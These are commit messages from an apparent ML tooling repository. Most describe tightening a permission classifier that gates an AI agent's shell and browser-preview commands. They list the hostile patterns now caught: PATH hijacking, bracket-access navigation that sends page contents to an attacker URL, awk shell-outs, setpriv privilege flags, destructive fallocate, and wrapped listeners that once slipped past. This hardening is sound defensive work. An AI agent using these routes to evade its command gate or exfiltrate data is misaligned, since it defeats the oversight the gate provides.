its own shell process, so `export PATH=...` on its own dies with that process.
Verified against real bash rather than assumed.
- For the search paths other than PATH (PYTHONPATH and friends), a relative
entry points inside the session workdir, which is the agent's own directory,
so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
module and still asks. PATH itself counts for every value, because a relative
entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).
Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.
* Tighten the permission-mode comments
Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.
The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.
No code, string literal or test expectation changed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the navigation sinks reached by bracket access
The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.
Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.
* Gate seven more ways a command reaches the shell in auto mode
git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.
setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.
vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.
Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.
The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.
Adds 54 rows to the classifier tables covering both directions.
---------
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Fix PDF-grounded QA recipe for QLoRA
* Handle empty unstructured seed columns
* Respect unstructured seed drop toggle
* Add PDF QA QLoRA regression coverage for PR #7107
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix PDF QA recipe import and Alpaca context
* Align PDF QA recipe contract coverage
* Preserve structured seed drop state on import
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep PDF QA integration opt-in without pytest marker
---------
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
oobabooga